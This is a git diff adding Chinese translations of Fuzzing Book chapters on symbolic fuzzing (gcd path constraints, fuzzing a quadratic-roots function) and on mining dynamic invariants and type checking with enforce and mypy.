+paths = asymfz_gcd.get_all_paths(asymfz_gcd.fnenter)
+print(len(paths))
+paths[37].get_path_to_root()
+
+```
+
+```py
+38
+
+```
+
+```py
+[PNode:0[id:40 line[1] parents: [] : enter: gcd(a, b) order:0],
+ PNode:1[id:42 line[2] parents: [40] : _if: a < b order:1],
+ PNode:2[id:46 line[7] parents: [45, 42, 49] : _while: b != 0 order:0],
+ PNode:3[id:47 line[8] parents: [46] : c: int = a order:0],
+ PNode:4[id:48 line[9] parents: [47] : a = b order:0],
+ PNode:5[id:49 line[10] parents: [48] : b = c % b order:0],
+ PNode:6[id:46 line[7] parents: [45, 42, 49] : _while: b != 0 order:0],
+ PNode:7[id:47 line[8] parents: [46] : c: int = a order:0],
+ PNode:8[id:48 line[9] parents: [47] : a = b order:0],
+ PNode:9[id:49 line[10] parents: [48] : b = c % b order:0],
+ PNode:10[id:46 line[7] parents: [45, 42, 49] : _while: b != 0 order:0]]
+
+```
+
+我们还可以在每个路径中列出谓词。
+
+```py
+for s in to_single_assignment_predicates(paths[37].get_path_to_root()):
+    if s is not None:
+        print(to_src(s))
+
+```
+
+```py
+z3.And(a == _a_0, b == _b_0)
+z3.Not(_a_0 < _b_0)
+(_b_0 != 0)
+_c_0 == _a_0
+_a_1 == _b_0
+_b_1 == _c_0 % _b_0
+(_b_1 != 0)
+_c_1 == _a_1
+_a_2 == _b_1
+_b_2 == _c_1 % _b_1
+(_b_2 != 0)
+
+```
+
+```py
+constraints = asymfz_gcd.extract_constraints(paths[37].get_path_to_root())
+
+```
+
+```py
+constraints
+
+```
+
+```py
+['z3.And(a == _a_0, b == _b_0)',
+ 'z3.Not(_a_0 < _b_0)',
+ '(_b_0 != 0)',
+ '_c_0 == _a_0',
+ '_a_1 == _b_0',
+ '_b_1 == _c_0 % _b_0',
+ '(_b_1 != 0)',
+ '_c_1 == _a_1',
+ '_a_2 == _b_1',
+ '_b_2 == _c_1 % _b_1',
+ '(_b_2 != 0)']
+
+```
+
+打印出的约束条件表明，我们的变量重命名方法是成功的。 我们只需要一件就可以完成拼图。 我们的路径仍然是`PNode`。 我们需要修改`get_next_path()`，以便我们返回相应的谓词链。
+
+```py
+class AdvancedSymbolicFuzzer(AdvancedSymbolicFuzzer):
+    def get_next_path(self):
+        self.last_path -= 1
+        if self.last_path == -1:
+            self.last_path = len(self.paths) - 1
+        return self.paths[self.last_path].get_path_to_root()
+
+```
+
+接下来，我们将看到如何使用我们的模糊器进行模糊测试。
+
+### 使用高级符号模糊器[进行模糊处理](#Fuzzing-with-Advanced-Symbolic-Fuzzer)
+
+我们在 *gcd* 上使用了高级的符号模糊器，以生成合理的输入。
+
+```py
+asymfz_gcd = AdvancedSymbolicFuzzer(
+    gcd, max_tries=10, max_iter=10, max_depth=10)
+data = []
+for i in range(10):
+    r = asymfz_gcd.fuzz()
+    data.append((r['a'].as_long(), r['b'].as_long()))
+    v = gcd(*data[-1])
+    print(r, "result:", repr(v))
+
+```
+
+```py
+{'a': 7, 'b': 4} result: 1
+{'a': 8, 'b': 16} result: 8
+{'a': 2, 'b': 17} result: 1
+{'a': 6, 'b': 5} result: 1
+{'a': 3, 'b': 5} result: 1
+{'a': 1, 'b': 1} result: 1
+{'a': 5, 'b': 2} result: 1
+{'a': 4, 'b': 8} result: 4
+{'a': 9, 'b': 9} result: 9
+{'a': 13, 'b': 12} result: 1
+
+```
+
+Theo的输出看起来很合理。 但是，获得的覆盖率是多少？
+
+```py
+with ArcCoverage() as cov:
+    for a, b in data:
+        gcd(a, b)
+
+```
+
+```py
+cov.show_coverage(gcd)
+
+```
+
+```py
+#  1: def gcd(a: int, b: int) -> int:
+#  2:     if a < b:
+#  3:         c: int = a
+#  4:         a = b
+#  5:         b = c
+   6: 
+#  7:     while b != 0:
+#  8:         c: int = a
+#  9:         a = b
+# 10:         b = c % b
+# 11:     return a
+  12: 
+
+```
+
+```py
+show_cfg(gcd, arcs=cov.arcs())
+
+```
+
+<svg height="636pt" viewBox="0.00 0.00 287.52 636.00" width="288pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 632)"><title>%3</title> <g class="node" id="node1"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="178.8437" y="-602.3">1: enter: gcd(a, b)</text></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="178.8437" y="-526.3">2: if: a < b</text></g> <g class="edge" id="edge2"><title>1->3</title></g> <g class="node" id="node2"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.8437" y="-90.3">1: exit: gcd(a, b)</text></g> <g class="node" id="node3"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.8437" y="-166.3">11: return a</text></g> <g class="edge" id="edge1"><title>11->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="138.8437" y="-454.3">3: c: int = a</text></g> <g class="edge" id="edge3"><title>3->4</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="184.8437" y="-238.3">7: while: b != 0</text></g> <g class="edge" id="edge7"><title>3->7</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="149.8437" y="-382.3">4: a = b</text></g> <g class="edge" id="edge4"><title>4->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="155.8437" y="-310.3">5: b = c</text></g> <g class="edge" id="edge5"><title>5->6</title></g> <g class="edge" id="edge6"><title>6->7</title></g> <g class="edge" id="edge12"><title>7->11</title></g> <g class="node" id="node10"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="184.8437" y="-166.3">8: c: int = a</text></g> <g class="edge" id="edge9"><title>7->8</title></g> <g class="node" id="node9"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="232.8437" y="-14.3">10: b = c % b</text></g> <g class="edge" id="edge8"><title>10->7</title></g> <g class="node" id="node11"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="201.8437" y="-90.3">9: a = b</text></g> <g class="edge" id="edge10"><title>8->9</title></g> <g class="edge" id="edge11"><title>9->10</title></g></g></svg>
+
+实际上，分支和语句覆盖率可视化似乎都表明我们已实现完整覆盖率。 我们如何在实践中利用我们的模糊器？ 我们探索了一个用于解决二次方程根的程序的小案例研究。
+
+#### 示例：二次方程[的根](#Example:-Roots-of-a-Quadratic-Equation)
+
+这是找到二次方程式根的著名方程式。
+
+```py
+from [typing](https://docs.python.org/3/library/typing.html) import Tuple
+
+```
+
+```py
+def roots(a: float, b: float, c: float) -> Tuple[float, float]:
+    d: float = b * b - 4 * a * c
+    ax: float = 0.5 * d
+    bx: float = 0
+    while (ax - bx) > 0.1:
+        bx = 0.5 * (ax + d / ax)
+        ax = bx
+    s: float = bx
+
+    a2: float = 2 * a
+    ba2: float = b / a2
+    return -ba2 + s / a2, -ba2 - s / a2
+
+```
+
+程序看起来正确吗？ 让我们调查该程序是否合理。 但是在此之前，我们需要一个辅助函数`sym_to_float()`将符号值转换为浮点。
+
+```py
+def sym_to_float(v):
+    if v is None:
+        return math.inf
+    elif isinstance(v, z3.IntNumRef):
+        return v.as_long()
+    return v.numerator_as_long() / v.denominator_as_long()
+
+```
+
+现在我们准备开始模糊测试了。
+
+```py
+asymfz_roots = AdvancedSymbolicFuzzer(
+    roots,
+    max_tries=10,
+    max_iter=10,
+    max_depth=10)
+with ExpectError():
+    for i in range(100):
+        r = asymfz_roots.fuzz()
+        print(r)
+        d = [sym_to_float(r[i]) for i in ['a', 'b', 'c']]
+        v = roots(*d)
+        print(d, v)
+
+```
+
+```py
+{'a': 1/2, 'b': 1/8, 'c': -2}
+[0.5, 0.125, -2.0] (1.87890625, -2.12890625)
+{'a': 1/2, 'b': 1/8, 'c': 1}
+[0.5, 0.125, 1.0] (-0.125, -0.125)
+{'a': 1/2, 'b': 1/8, 'c': -3}
+[0.5, 0.125, -3.0] (2.37890625, -2.62890625)
+{'a': 1/2, 'b': 1/8, 'c': 2}
+[0.5, 0.125, 2.0] (-0.125, -0.125)
+{'a': 1/2, 'b': 1/8, 'c': -4}
+[0.5, 0.125, -4.0] (2.87890625, -3.12890625)
+{'a': 1/2, 'b': 1/8, 'c': 3}
+[0.5, 0.125, 3.0] (-0.125, -0.125)
+{'a': 1/2, 'b': 1/8, 'c': 4}
+[0.5, 0.125, 4.0] (-0.125, -0.125)
+{'a': 1/2, 'b': 1/8, 'c': -5}
+[0.5, 0.125, -5.0] (3.37890625, -3.62890625)
+{'a': 3/2, 'b': 0, 'c': 0}
+[1.5, 0.0, 0.0] (0.0, -0.0)
+{'a': 1/2, 'b': 1/8, 'c': -1}
+[0.5, 0.125, -1.0] (1.37890625, -1.62890625)
+{'a': 1/2, 'b': 1/8, 'c': -3/2}
+[0.5, 0.125, -1.5] (1.62890625, -1.87890625)
+{'a': 1, 'b': 0, 'c': 1/2}
+[1.0, 0.0, 0.5] (0.0, -0.0)
+{'a': 0, 'b': 0, 'c': -11/2}
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-171-be5116409d4d>", line 11, in <module>
+    v = roots(*d)
+  File "<ipython-input-169-f5c00743e7ce>", line 11, in roots
+    ba2: float = b / a2
+ZeroDivisionError: float division by zero (expected)
+
+```
+
+我们有一个`ZeroDivisionError`。 我们可以消除它吗？
+
+##### 根-除法前检查
+
+```py
+def roots2(a: float, b: float, c: float) -> Tuple[float, float]:
+    d: float = b * b - 4 * a * c
+
+    xa: float = 0.5 * d
+    xb: float = 0
+    while (xa - xb) > 0.1:
+        xb = 0.5 * (xa + d / xa)
+        xa = xb
+    s: float = xb
+
+    if a == 0:
+        return -c / b
+
+    a2: float = 2 * a
+    ba2: float = b / a2
+    return -ba2 + s / a2, -ba2 - s / a2
+
+```
+
+```py
+asymfz_roots = AdvancedSymbolicFuzzer(
+    roots2,
+    max_tries=10,
+    max_iter=10,
+    max_depth=10)
+with ExpectError():
+    for i in range(1000):
+        r = asymfz_roots.fuzz()
+        d = [sym_to_float(r[i]) for i in ['a', 'b', 'c']]
+        v = roots2(*d)
+        #print(d, v)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-173-37c0dadab17b>", line 10, in <module>
+    v = roots2(*d)
+  File "<ipython-input-172-931666e5c85c>", line 12, in roots2
+    return -c / b
+ZeroDivisionError: float division by zero (expected)
+
+```
+
+显然，我们的修复不完整。 让我们再试一次。
+
+##### 根-消除零除错误
+
+```py
+import [math](https://docs.python.org/3/library/math.html)
+
+```
+
+```py
+def roots3(a: float, b: float, c: float) -> Tuple[float, float]:
+    d: float = b * b - 4 * a * c
+
+    xa: float = 0.5 * d
+    xb: float = 0
+    while (xa - xb) > 0.1:
+        xb = 0.5 * (xa + d / xa)
+        xa = xb
+    s: float = xb
+
+    if a == 0:
+        if b == 0:
+            return math.inf
+        return -c / b
+
+    a2: float = 2 * a
+    ba2: float = b / a2
+    return -ba2 + s / a2, -ba2 - s / a2
+
+```
+
+```py
+asymfz_roots = AdvancedSymbolicFuzzer(
+    roots3,
+    max_tries=10,
+    max_iter=10,
+    max_depth=10)
+for i in range(10):
+    r = asymfz_roots.fuzz()
+    print(r)
+    d = [sym_to_float(r[i]) for i in ['a', 'b', 'c']]
+    v = roots3(*d)
+    print(d, v)
+
+```
+
+```py
+{'a': -1, 'b': 0, 'c': 0}
+[-1.0, 0.0, 0.0] (0.0, 0.0)
+{'a': 1, 'b': 1/8, 'c': -2}
+[1.0, 0.125, -2.0] (1.439453125, -1.564453125)
+{'a': -9/8, 'b': 0, 'c': 0}
+[-1.125, 0.0, 0.0] (0.0, 0.0)
+{'a': 0, 'b': 1/4, 'c': 0}
+[0.0, 0.25, 0.0] -0.0
+{'a': 0, 'b': 0, 'c': 1}
+[0.0, 0.0, 1.0] inf
+{'a': 0, 'b': 1, 'c': -1/4}
+[0.0, 1.0, -0.25] 0.25
+{'a': 1, 'b': 1/8, 'c': 1}
+[1.0, 0.125, 1.0] (-0.0625, -0.0625)
+{'a': 0, 'b': 1/4, 'c': -1}
+[0.0, 0.25, -1.0] 4.0
+{'a': 0, 'b': 0, 'c': 2}
+[0.0, 0.0, 2.0] inf
+{'a': 1/2, 'b': 1/8, 'c': -2}
+[0.5, 0.125, -2.0] (1.87890625, -2.12890625)
+
+```
+
+以此证明，我们可以使用 *AdvancedSymbolicFuzzer* 来模糊程序，并且可以帮助识别代码中的问题。
+
+## 限制
+
+该程序存在明显错误。 我们不检查负根。 但是，符号执行似乎没有检测到它。 为什么我们无法检测到负根问题？ 因为我们在预定深度停止执行而不会引发错误。 也就是说，我们的象征性执行是广泛而肤浅的。 可以克服此限制的方法之一是依靠[圆锥形执行](ConcolicFuzzer.html)，它允许人们比纯符号执行更深入。 第二个问题是符号执行必定需要大量计算。 这意味着基于规范的模糊器通常能够生成更大的输入集，并且在不检查魔术字节的程序上连续具有更大的覆盖范围，因此它们提供了合理的探索梯度。
+
+## 经验教训
+
+*   可以使用符号执行来增加探索程序所有特征的输入。
+*   符号执行可以是广泛的，但可以是浅层的。
+*   符号执行非常适合依赖于输入中存在特定值的程序，但是，当这些值不存在时，它的效用会降低，并且输入空间在覆盖率方面表现出梯度。
+
+## 后续步骤
+
+*   [基于搜索的模糊处理](SearchBasedFuzzer.html)在随机模糊处理无法提供足够结果，但符号模糊处理过于繁重时通常可以作为可接受的中间依据。
+
+## 背景
+
+程序的符号执行最初由King [ [King *等人*，1976年。](https://doi.org/10.1145/360248.360252)]于1976年描述。它广泛用于软件尤其是二进制程序的漏洞分析中。 一些众所周知的符号执行工具包括KLEE [Unresolved citation：KLEE。]，angr [Wang *等人*，2017.，Unresolved citation：stephens2016driller。]和SAGE [Godefroid *et al [* ，2012。]。 Python最著名的符号执行环境是CHEF [Unresolved citation：bucur2014prototyping。]，它通过修改解释器来执行符号执行。
+
+## 练习
+
+### 练习1：*扩展符号模糊器以使用函数摘要*
+
+我们在第一部分中展示了如何生成函数摘要。 可以在需要时扩展`AdvancedSymbolicFuzzer`以使用函数摘要吗？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/SymbolicFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：*静态检查是否应进一步展开循环*
+
+我们研究了在探索到固定深度时如何展开回路。 但是，并非所有循环都需要完全展开。 一些循环可能仅包含恒定数量的迭代。 例如，考虑下面的循环。
+
+```py
+i = 0
+while i < 10:
+    i += 1
+
+```
+
+此循环需要准确地展开$ 10 $次。 在这种情况下，可以实现以下方法调用的`can_be_satisfied()`方法，以便仅在可以满足路径条件的情况下进一步展开。
+
+```py
+class AdvancedSymbolicFuzzer(AdvancedSymbolicFuzzer):
+    def get_all_paths(self, fenter):
+        path_lst = [PNode(0, fenter)]
+        completed = []
+        for i in range(self.max_iter):
+            new_paths = [PNode(0, fenter)]
+            for path in path_lst:
+                # explore each path once
+                if path.cfgnode.children:
+                    np = path.explore()
+                    for p in np:
+                        if path.idx > self.max_depth:
+                            break
+                        if self.can_be_satisfied(p):
+                            new_paths.append(p)
+                        else:
+                            break
+                else:
+                    completed.append(path)
+            path_lst = new_paths
+        return completed + path_lst
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/SymbolicFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+**解决方案。** 这是一个解决方案。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/SymbolicFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习3：*实现一个共模模糊器*
+
+我们已经在[保形模糊](ConcolicFuzzer.html)的一章中看到了如何使用信息流来跟踪函数concolicaly。 但是，这在某种程度上不是最佳的，因为当信息流是间接的时（如在基于控制流的信息流中），约束可能会丢失。 您是否可以使用我们为符号执行而构建的基础结构来实现圆锥形跟踪？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/SymbolicFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+**解决方案。** 这是一个可能的解决方案。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/SymbolicFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+实际上，现在所追踪的路径是不同的。 可以将这一过程继续进行必要的次数，以探索所有附近的执行路径。
+
+您能否将这种探索纳入到圆锥形的模糊器中？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/SymbolicFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/28.md b/new/fuzzing-book-zh/28.md
new file mode 100644
index 0000000000000000000000000000000000000000..be755e303aa28e5c716b7199b59e17860d26ec18
--- /dev/null
+++ b/new/fuzzing-book-zh/28.md
@@ -0,0 +1,2885 @@
+# 挖掘功能规范
+
+> 原文： [https://www.fuzzingbook.org/html/DynamicInvariants.html](https://www.fuzzingbook.org/html/DynamicInvariants.html)
+
+在测试程序时，不仅需要涵盖程序的几种行为，还需要对程序进行测试。 还需要*检查*结果是否符合预期。 在本章中，我们介绍一种技术，该技术使我们可以从一组给定的执行中*挖掘*功能规范，从而得出对该功能期望及其提供的内容的抽象和形式化的*描述*。
+
+这些所谓的*动态不变量*对一组执行的函数自变量和变量产生前置条件和后置条件。 它们在多种情况下很有用：
+
+*   动态不变量为[符号模糊](SymbolicFuzzer.html)提供重要信息，例如函数参数的类型和范围。
+*   动态不变式为正式的程序证明和验证提供了前提条件。
+*   动态不变量提供大量断言，可以检查函数行为是否已更改
+*   动态不变量提供的检查作为 *oracles* 对于检查生成的测试的效果非常有用。
+
+传统上，动态不变量取决于它们所源自的执行。 但是，当与综合测试生成器配合使用时，它们很快变得非常精确，如本章所示。
+
+**前提条件**
+
+*   您应该熟悉跟踪程序的执行情况，如关于的[一章中所述。](Coverage.html)
+*   在本节的稍后部分，我们将访问Python程序的内部*抽象语法树*表示形式并对其进行转换，就像关于信息流的[一章中一样。](InformationFlow.html)
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+import [Coverage](Coverage.html)
+import [Intro_Testing](Intro_Testing.html)
+
+```
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.DynamicInvariants](DynamicInvariants.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章提供了两个类，这些类可自动从函数和一组输入中提取规范：
+
+*   *类型*的`TypeAnnotator`，以及
+*   *之前的*和*后置条件*的`InvariantAnnotator`。
+
+两者都是通过*观察*一个函数及其在`with`子句中的调用来工作的。 这是类型注释器的示例：
+
+```py
+>>> def sum2(a, b):
+>>>     return a + b
+>>> with TypeAnnotator() as type_annotator:
+>>>     sum2(1, 2)
+>>>     sum2(-4, -5)
+>>>     sum2(0, 0)
+
+```
+
+`typed_functions()`方法将返回`sum2()`的表示形式，并用在执行过程中观察到的类型进行注释。
+
+```py
+>>> print(type_annotator.typed_functions())
+def sum2(a: int, b: int) ->int:
+    return a + b
+
+```
+
+不变注释器的工作方式类似：
+
+```py
+>>> with InvariantAnnotator() as inv_annotator:
+>>>     sum2(1, 2)
+>>>     sum2(-4, -5)
+>>>     sum2(0, 0)
+
+```
+
+`functions_with_invariants()`方法将返回`sum2()`的表示形式，并用推断的前提条件和后置条件进行注释，这些条件对于观察值均成立。
+
+```py
+>>> print(inv_annotator.functions_with_invariants())
+@precondition(lambda a, b: isinstance(a, int))
+@precondition(lambda a, b: isinstance(b, int))
+@postcondition(lambda return_value, a, b: a == return_value - b)
+@postcondition(lambda return_value, a, b: b == return_value - a)
+@postcondition(lambda return_value, a, b: isinstance(return_value, int))
+@postcondition(lambda return_value, a, b: return_value == a + b)
+@postcondition(lambda return_value, a, b: return_value == b + a)
+def sum2(a, b):
+    return a + b
+
+```
+
+这样的类型规范和不变量可以作为*预言*（用于检测与一组给定行程的偏差）以及所有*符号代码分析*都是有用的。 本章详细介绍了如何自定义检查的属性。
+
+## 规范和断言
+
+在实现功能或程序时，通常会违反*规范* –一组代码要满足的书面要求。 这样的规范可以用自然语言来表示。 但是，正式的规范允许计算机检查规范是否得到满足。
+
+在测试的[简介中，我们已经看到*前置条件*和*后置条件*如何描述函数的功能。 考虑以下（简单）平方根函数：](Intro_Testing.html)
+
+```py
+def my_sqrt(x):
+    assert x >= 0  # Precondition
+
+    ...
+
+    assert result * result == x  # Postcondition
+    return result
+
+```
+
+断言`assert p`检查条件`p`； 如果不成立，则中止执行。 在这里，实际的身体还没有写。 我们将这些断言用作`my_sqrt()` *期望*以及*交付*的规范。
+
+最上面的断言是*前提条件*，其中说明了函数自变量的要求。 最后的断言是*后置条件*，说明函数结果的属性（包括其与原始参数的关系）。 使用这些前置条件和后置条件作为规范，我们现在可以实现满足它们的平方根函数。 一旦实现，我们就可以在运行时检查断言，`my_sqrt()`是否按预期工作； [符号](SymbolicFuzzer.html)或[圆锥形](ConcolicFuzzer.html)测试生成器甚至会专门尝试查找断言没有*保持的输入。 （断言可以看作是中止执行的条件分支，任何试图覆盖所有代码分支的技术都将尝试使尽可能多的断言无效。）*
+
+但是，并非一开始就用明确的规范来开发每段代码； 更不用说大多数代码都附带了正式的前置条件和后置条件。 （只是看一下本书中的章节。）很遗憾：正如肯·汤普森（Ken Thompson）所说的那样：“没有规范，就没有bug，只有惊喜”。 这也是测试的问题，因为测试当然需要一些规范来进行测试。 这就提出了一个有趣的问题：我们是否可以通过适当地描述其行为的“规范”对*改造*现有代码，从而使开发人员可以简单地*检查*而不必从头开始编写它们？ 这就是我们在本章中所做的。
+
+## 为什么通用错误检查不够用
+
+在进入*挖掘*规范之前，让我们首先讨论为什么*拥有*规范可能有用。 作为一个激励示例，请考虑从[简介到测试](Intro_Testing.html)的`my_sqrt()`的完整实现：
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+def my_sqrt(x):
+    """Computes the square root of x, using the Newton-Raphson method"""
+    approx = None
+    guess = x / 2
+    while approx != guess:
+        approx = guess
+        guess = (approx + x / approx) / 2
+    return approx
+
+```
+
+`my_sqrt()`没有任何可检查类型或值的功能。 因此，在调用`my_sqrt()`时，调用者很容易出错：
+
+```py
+from [ExpectError](ExpectError.html) import ExpectError, ExpectTimeout
+
+```
+
+```py
+with ExpectError():
+    my_sqrt("foo")
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-7-774676a5ccb8>", line 2, in <module>
+    my_sqrt("foo")
+  File "<ipython-input-5-47185ad159a1>", line 4, in my_sqrt
+    guess = x / 2
+TypeError: unsupported operand type(s) for /: 'str' and 'int' (expected)
+
+```
+
+```py
+with ExpectError():
+    x = my_sqrt(0.0)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-8-262c66114b1c>", line 2, in <module>
+    x = my_sqrt(0.0)
+  File "<ipython-input-5-47185ad159a1>", line 7, in my_sqrt
+    guess = (approx + x / approx) / 2
+ZeroDivisionError: float division by zero (expected)
+
+```
+
+至少，Python系统会在运行时捕获这些错误。 但是，以下调用仅使函数进入无限循环：
+
+```py
+with ExpectTimeout(1):
+    x = my_sqrt(-1.0)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-9-b72078127dc0>", line 2, in <module>
+    x = my_sqrt(-1.0)
+  File "<ipython-input-5-47185ad159a1>", line 7, in my_sqrt
+    guess = (approx + x / approx) / 2
+  File "<ipython-input-5-47185ad159a1>", line 7, in my_sqrt
+    guess = (approx + x / approx) / 2
+  File "<string>", line 16, in check_time
+TimeoutError (expected)
+
+```
+
+我们的目标是通过*注释*函数以防止出现类似于上述错误的信息，从而避免此类错误。 这个想法是提供期望特性的*规范*-然后可以在运行时或静态检查该规范。
+
+\ todo {介绍*合同*的概念。}
+
+## 指定和检查数据类型
+
+对于我们的Python代码，我们需要的最重要的“规范”之一是*类型*。 Python是一种“动态”类型的语言，意味着所有数据类型都是在运行时确定的； 代码本身并未明确声明变量是整数，字符串，数组，字典还是其他。
+
+作为Python代码的*编写者*，省略显式类型声明可以节省时间（并允许一些有趣的hack）。 不确定是否缺少类型有助于*阅读*和*了解人类的*代码。 对于试图分析代码的*计算机*，缺少显式类型是有害的。 例如，如果约束求解器看到`if x:`却不知道`x`应该是数字还是字符串，则将引入*模糊性*。 这种歧义性可能会在组合爆炸中使整个分析倍增，或者在分析中产生过于不准确的结果。
+
+Python 3.6和更高版本允许数据类型作为*批注*来函数自变量（实际上是所有变量）并返回值。 例如，我们可以说`my_sqrt()`是一个接受浮点值并返回一个的函数：
+
+```py
+def my_sqrt_with_type_annotations(x: float) -> float:
+    """Computes the square root of x, using the Newton-Raphson method"""
+    return my_sqrt(x)
+
+```
+
+默认情况下，Python解释器会忽略此类注释。 因此，仍然可以使用字符串作为参数调用`my_sqrt_typed()`，并获得与上述完全相同的结果。 但是，可以使用特殊的*类型检查*模块，这些模块可以在运行时动态检查或通过分析代码静态 **来执行类型检查，而无需执行代码。**
+
+### 运行时类型检查
+
+Python `enforce`包提供了一个函数装饰器，该装饰器会自动插入在运行时执行的类型检查代码。 使用方法如下：
+
+```py
+import [enforce](https://docs.python.org/3/library/enforce.html)
+
+```
+
+```py
+@enforce.runtime_validation
+def my_sqrt_with_checked_type_annotations(x: float) -> float:
+    """Computes the square root of x, using the Newton-Raphson method"""
+    return my_sqrt(x)
+
+```
+
+现在，以与声明的类型不同的类型调用`my_sqrt_with_checked_type_annotations()`会引发异常：
+
+```py
+with ExpectError():
+    my_sqrt_with_checked_type_annotations(True)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-13-68b73bd3f6ef>", line 2, in <module>
+    my_sqrt_with_checked_type_annotations(True)
+  File "/Users/zeller/Library/Python/3.6/site-packages/enforce/decorators.py", line 104, in universal
+    _args, _kwargs, _ = enforcer.validate_inputs(parameters)
+  File "/Users/zeller/Library/Python/3.6/site-packages/enforce/enforcers.py", line 86, in validate_inputs
+    raise RuntimeTypeError(exception_text)
+enforce.exceptions.RuntimeTypeError: 
+  The following runtime type errors were encountered:
+       Argument 'x' was not of type <class 'float'>. Actual type was bool. (expected)
+
+```
+
+请注意，“ untyped”变量不会捕获此错误，在该变量中，传递布尔值会愉快地返回$ \ sqrt {1} $作为结果。
+
+```py
+my_sqrt(True)
+
+```
+
+```py
+1.0
+
+```
+
+在Python（和其他语言）中，布尔值`True`和`False`可以隐式转换为整数1和0; 但是，很难想到没有错误的对`sqrt()`的调用。
+
+### 静态类型检查
+
+类型注释也可以通过*静态检查*-也就是说，甚至无需运行代码。 让我们创建一个简单的Python文件，其中包含上述`my_sqrt_typed()`定义和错误的调用。
+
+```py
+import [inspect](https://docs.python.org/3/library/inspect.html)
+import [tempfile](https://docs.python.org/3/library/tempfile.html)
+
+```
+
+```py
+f = tempfile.NamedTemporaryFile(mode='w', suffix='.py')
+f.name
+
+```
+
+```py
+'/var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmp0utpjwyq.py'
+
+```
+
+```py
+f.write(inspect.getsource(my_sqrt))
+f.write('\n')
+f.write(inspect.getsource(my_sqrt_with_type_annotations))
+f.write('\n')
+f.write("print(my_sqrt_with_type_annotations('123'))\n")
+f.flush()
+
+```
+
+这些是我们新创建的Python文件的内容：
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import print_file
+
+```
+
+```py
+print_file(f.name)
+
+```
+
+```py
+def my_sqrt(x):
+    """Computes the square root of x, using the Newton-Raphson method"""
+    approx = None
+    guess = x / 2
+    while approx != guess:
+        approx = guess
+        guess = (approx + x / approx) / 2
+    return approx
+
+def my_sqrt_with_type_annotations(x: float) -> float:
+    """Computes the square root of x, using the Newton-Raphson method"""
+    return my_sqrt(x)
+
+print(my_sqrt_with_type_annotations('123'))
+
+```
+
+[Mypy](http://mypy-lang.org) 是Python程序的类型检查器。 由于它静态地检查类型，因此类型在运行时不会产生开销； 此外，启用了运行时类型检查的静态检查比一系列冗长的测试要快。 让我们看看`mypy`在以上文件中产生的结果：
+
+```py
+import [subprocess](https://docs.python.org/3/library/subprocess.html)
+
+```
+
+```py
+result = subprocess.run(["mypy", "--strict", f.name], universal_newlines=True, stdout=subprocess.PIPE)
+del f  # Delete temporary file
+
+```
+
+```py
+print(result.stdout)
+
+```
+
+```py
+/var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmp0utpjwyq.py:1: error: Function is missing a type annotation
+/var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmp0utpjwyq.py:12: warning: Returning Any from function declared to return "float"
+/var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmp0utpjwyq.py:12: error: Call to untyped function "my_sqrt" in typed context
+/var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmp0utpjwyq.py:14: error: Argument 1 to "my_sqrt_with_type_annotations" has incompatible type "str"; expected "float"
+
+```
+
